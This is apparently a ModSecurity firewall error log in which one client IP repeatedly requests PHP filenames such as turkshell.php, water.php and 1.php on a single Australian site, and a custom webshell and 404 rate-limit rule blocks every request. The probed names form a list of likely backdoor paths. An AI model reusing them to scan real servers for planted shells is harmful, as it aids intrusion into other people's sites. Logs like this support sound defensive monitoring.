[Sat Apr 11 21:39:50.650813 2026] [:error] [pid 42221:tid 42279] [client 20.215.64.75:11201] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/popo.php"] [unique_id "adpPJk2gt0pb_0-cc6mGTgAAAEE"]
[Sat Apr 11 21:39:51.165318 2026] [:error] [pid 42219:tid 42239] [client 20.215.64.75:11138] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/popo.php"] [unique_id "adpPJw-4IkVbTQx_J-2BAwAAAJA"]
[Sat Apr 11 21:39:51.670385 2026] [:error] [pid 42221:tid 42278] [client 20.215.64.75:11263] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/water.php"] [unique_id "adpPJ02gt0pb_0-cc6mGTwAAAEA"]
[Sat Apr 11 21:39:52.175163 2026] [:error] [pid 42221:tid 42287] [client 20.215.64.75:11244] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/water.php"] [unique_id "adpPKE2gt0pb_0-cc6mGUQAAAEk"]
[Sat Apr 11 21:39:52.681721 2026] [:error] [pid 42221:tid 42291] [client 20.215.64.75:11218] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/water.php"] [unique_id "adpPKE2gt0pb_0-cc6mGUwAAAE0"]
[Sat Apr 11 21:39:53.186175 2026] [:error] [pid 42219:tid 42242] [client 20.215.64.75:11259] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/water.php"] [unique_id "adpPKQ-4IkVbTQx_J-2BCAAAAJM"]
[Sat Apr 11 21:39:53.690206 2026] [:error] [pid 42219:tid 42245] [client 20.215.64.75:11261] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ggb.php"] [unique_id "adpPKQ-4IkVbTQx_J-2BDAAAAJY"]
[Sat Apr 11 21:39:54.194992 2026] [:error] [pid 42219:tid 42238] [client 20.215.64.75:11222] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ggb.php"] [unique_id "adpPKg-4IkVbTQx_J-2BDgAAAI8"]
[Sat Apr 11 21:39:54.700076 2026] [:error] [pid 42219:tid 42224] [client 20.215.64.75:11253] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ggb.php"] [unique_id "adpPKg-4IkVbTQx_J-2BDwAAAIE"]
[Sat Apr 11 21:39:55.203973 2026] [:error] [pid 42219:tid 42230] [client 20.215.64.75:11162] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ggb.php"] [unique_id "adpPKw-4IkVbTQx_J-2BEgAAAIc"]
[Sat Apr 11 21:39:55.708627 2026] [:error] [pid 42219:tid 42235] [client 20.215.64.75:11212] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/13.php"] [unique_id "adpPKw-4IkVbTQx_J-2BFAAAAIw"]
[Sat Apr 11 21:39:56.234511 2026] [:error] [pid 42221:tid 42292] [client 20.215.64.75:11188] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/13.php"] [unique_id "adpPLE2gt0pb_0-cc6mGVgAAAE4"]
[Sat Apr 11 21:39:56.746757 2026] [:error] [pid 42313:tid 42340] [client 20.215.64.75:11236] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/13.php"] [unique_id "adpPLF2P8TxdbaN018IuoAAAABg"]
[Sat Apr 11 21:39:57.251213 2026] [:error] [pid 42313:tid 42326] [client 20.215.64.75:11225] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/13.php"] [unique_id "adpPLV2P8TxdbaN018IuoQAAAAo"]
[Sat Apr 11 21:39:57.777694 2026] [:error] [pid 42221:tid 42279] [client 20.215.64.75:11238] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wert.php"] [unique_id "adpPLU2gt0pb_0-cc6mGWgAAAEE"]
[Sat Apr 11 21:39:58.284199 2026] [:error] [pid 42221:tid 42278] [client 20.215.64.75:11142] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wert.php"] [unique_id "adpPLk2gt0pb_0-cc6mGXAAAAEA"]
[Sat Apr 11 21:39:58.788986 2026] [:error] [pid 42221:tid 42287] [client 20.215.64.75:11237] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wert.php"] [unique_id "adpPLk2gt0pb_0-cc6mGXgAAAEk"]
[Sat Apr 11 21:39:59.294179 2026] [:error] [pid 42313:tid 42329] [client 20.215.64.75:11255] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wert.php"] [unique_id "adpPL12P8TxdbaN018IupwAAAA0"]
[Sat Apr 11 21:39:59.911118 2026] [:error] [pid 42221:tid 42290] [client 20.215.64.75:11182] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/11.php"] [unique_id "adpPL02gt0pb_0-cc6mGYQAAAEw"]
[Sat Apr 11 21:40:00.422933 2026] [:error] [pid 42220:tid 42268] [client 20.215.64.75:11214] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/11.php"] [unique_id "adpPMEz5c3Cs6a8B5QuDcQAAANE"]
[Sat Apr 11 21:40:00.941139 2026] [:error] [pid 42313:tid 42317] [client 20.215.64.75:11154] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/11.php"] [unique_id "adpPMF2P8TxdbaN018IurQAAAAE"]
[Sat Apr 11 21:40:01.448299 2026] [:error] [pid 42221:tid 42292] [client 20.215.64.75:11208] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/11.php"] [unique_id "adpPMU2gt0pb_0-cc6mGZAAAAE4"]
[Sat Apr 11 21:40:01.953322 2026] [:error] [pid 42221:tid 42297] [client 20.215.64.75:11224] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/p.php"] [unique_id "adpPMU2gt0pb_0-cc6mGZQAAAFM"]
[Sat Apr 11 21:40:02.459452 2026] [:error] [pid 42221:tid 42281] [client 20.215.64.75:11137] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/p.php"] [unique_id "adpPMk2gt0pb_0-cc6mGZwAAAEM"]
[Sat Apr 11 21:40:02.967508 2026] [:error] [pid 42313:tid 42322] [client 20.215.64.75:11235] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/p.php"] [unique_id "adpPMl2P8TxdbaN018IusgAAAAY"]
[Sat Apr 11 21:40:03.472151 2026] [:error] [pid 42313:tid 42320] [client 20.215.64.75:11175] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/p.php"] [unique_id "adpPM12P8TxdbaN018IutQAAAAQ"]
[Sat Apr 11 21:40:04.042589 2026] [:error] [pid 42221:tid 42279] [client 20.215.64.75:11155] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/oij98gy.php"] [unique_id "adpPNE2gt0pb_0-cc6mGaQAAAEE"]
[Sat Apr 11 21:40:04.549954 2026] [:error] [pid 42219:tid 42244] [client 20.215.64.75:11249] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/oij98gy.php"] [unique_id "adpPNA-4IkVbTQx_J-2BIAAAAJU"]
[Sat Apr 11 21:40:05.074939 2026] [:error] [pid 42221:tid 42283] [client 20.215.64.75:11159] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/oij98gy.php"] [unique_id "adpPNU2gt0pb_0-cc6mGagAAAEU"]
[Sat Apr 11 21:40:05.579273 2026] [:error] [pid 42313:tid 42316] [client 20.215.64.75:11211] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/oij98gy.php"] [unique_id "adpPNV2P8TxdbaN018IuvAAAAAA"]
[Sat Apr 11 21:40:06.084328 2026] [:error] [pid 42313:tid 42321] [client 20.215.64.75:11157] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bthil.php"] [unique_id "adpPNl2P8TxdbaN018IuvgAAAAU"]
[Sat Apr 11 21:40:06.589183 2026] [:error] [pid 42313:tid 42320] [client 20.215.64.75:11075] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bthil.php"] [unique_id "adpPNl2P8TxdbaN018IuwAAAAAQ"]
[Sat Apr 11 21:40:07.093834 2026] [:error] [pid 42219:tid 42238] [client 20.215.64.75:11172] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bthil.php"] [unique_id "adpPNw-4IkVbTQx_J-2BJQAAAI8"]
[Sat Apr 11 21:40:07.598448 2026] [:error] [pid 42313:tid 42333] [client 20.215.64.75:11158] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bthil.php"] [unique_id "adpPN12P8TxdbaN018IuwgAAABE"]
[Sat Apr 11 21:40:08.108548 2026] [:error] [pid 42313:tid 42331] [client 20.215.64.75:11098] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/turkshell.php"] [unique_id "adpPOF2P8TxdbaN018IuxAAAAA8"]
[Sat Apr 11 21:40:08.618589 2026] [:error] [pid 42313:tid 42340] [client 20.215.64.75:11262] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/turkshell.php"] [unique_id "adpPOF2P8TxdbaN018IuxgAAABg"]
[Sat Apr 11 21:40:09.124144 2026] [:error] [pid 42313:tid 42326] [client 20.215.64.75:11187] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/turkshell.php"] [unique_id "adpPOV2P8TxdbaN018IuyAAAAAo"]
[Sat Apr 11 21:40:09.633583 2026] [:error] [pid 42220:tid 42269] [client 20.215.64.75:11203] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/turkshell.php"] [unique_id "adpPOUz5c3Cs6a8B5QuDgAAAANI"]
[Sat Apr 11 21:40:10.138839 2026] [:error] [pid 42313:tid 42324] [client 20.215.64.75:11220] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tea.php"] [unique_id "adpPOl2P8TxdbaN018IuzQAAAAg"]
[Sat Apr 11 21:40:10.650984 2026] [:error] [pid 42219:tid 42246] [client 20.215.64.75:11254] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tea.php"] [unique_id "adpPOg-4IkVbTQx_J-2BKgAAAJc"]
[Sat Apr 11 21:40:11.154646 2026] [:error] [pid 42219:tid 42243] [client 20.215.64.75:11229] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tea.php"] [unique_id "adpPOw-4IkVbTQx_J-2BLAAAAJQ"]
[Sat Apr 11 21:40:11.670437 2026] [:error] [pid 42219:tid 42234] [client 20.215.64.75:11239] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tea.php"] [unique_id "adpPOw-4IkVbTQx_J-2BLQAAAIs"]
[Sat Apr 11 21:40:12.177356 2026] [:error] [pid 42221:tid 42300] [client 20.215.64.75:11260] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/seo.php"] [unique_id "adpPPE2gt0pb_0-cc6mGcAAAAFY"]
[Sat Apr 11 21:40:12.682253 2026] [:error] [pid 42221:tid 42288] [client 20.215.64.75:11148] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/seo.php"] [unique_id "adpPPE2gt0pb_0-cc6mGcQAAAEo"]
[Sat Apr 11 21:40:13.188338 2026] [:error] [pid 42313:tid 42335] [client 20.215.64.75:11223] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/seo.php"] [unique_id "adpPPV2P8TxdbaN018Iu0gAAABM"]
[Sat Apr 11 21:40:13.695806 2026] [:error] [pid 42221:tid 42302] [client 20.215.64.75:11151] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/seo.php"] [unique_id "adpPPU2gt0pb_0-cc6mGdAAAAFg"]
[Sat Apr 11 21:40:14.199861 2026] [:error] [pid 42313:tid 42339] [client 20.215.64.75:11110] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/7.php"] [unique_id "adpPPl2P8TxdbaN018Iu1gAAABc"]
[Sat Apr 11 21:40:14.705789 2026] [:error] [pid 42221:tid 42295] [client 20.215.64.75:11226] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/7.php"] [unique_id "adpPPk2gt0pb_0-cc6mGdQAAAFE"]
[Sat Apr 11 21:40:15.209754 2026] [:error] [pid 42313:tid 42320] [client 20.215.64.75:11168] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/7.php"] [unique_id "adpPP12P8TxdbaN018Iu2wAAAAQ"]
[Sat Apr 11 21:40:15.721865 2026] [:error] [pid 42313:tid 42317] [client 20.215.64.75:11258] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/7.php"] [unique_id "adpPP12P8TxdbaN018Iu3QAAAAE"]
[Sat Apr 11 21:40:16.226673 2026] [:error] [pid 42313:tid 42335] [client 20.215.64.75:11095] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8.php"] [unique_id "adpPQF2P8TxdbaN018Iu3wAAABM"]
[Sat Apr 11 21:40:16.732818 2026] [:error] [pid 42313:tid 42326] [client 20.215.64.75:11072] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8.php"] [unique_id "adpPQF2P8TxdbaN018Iu4gAAAAo"]
[Sat Apr 11 21:40:17.245496 2026] [:error] [pid 42313:tid 42339] [client 20.215.64.75:11074] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8.php"] [unique_id "adpPQV2P8TxdbaN018Iu5QAAABc"]
[Sat Apr 11 21:40:17.748760 2026] [:error] [pid 42313:tid 42333] [client 20.215.64.75:11248] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8.php"] [unique_id "adpPQV2P8TxdbaN018Iu6QAAABE"]
[Sat Apr 11 21:40:18.253996 2026] [:error] [pid 42221:tid 42280] [client 20.215.64.75:11143] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "adpPQk2gt0pb_0-cc6mGeQAAAEI"]
[Sat Apr 11 21:40:18.757905 2026] [:error] [pid 42313:tid 42318] [client 20.215.64.75:11230] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "adpPQl2P8TxdbaN018Iu7wAAAAI"]
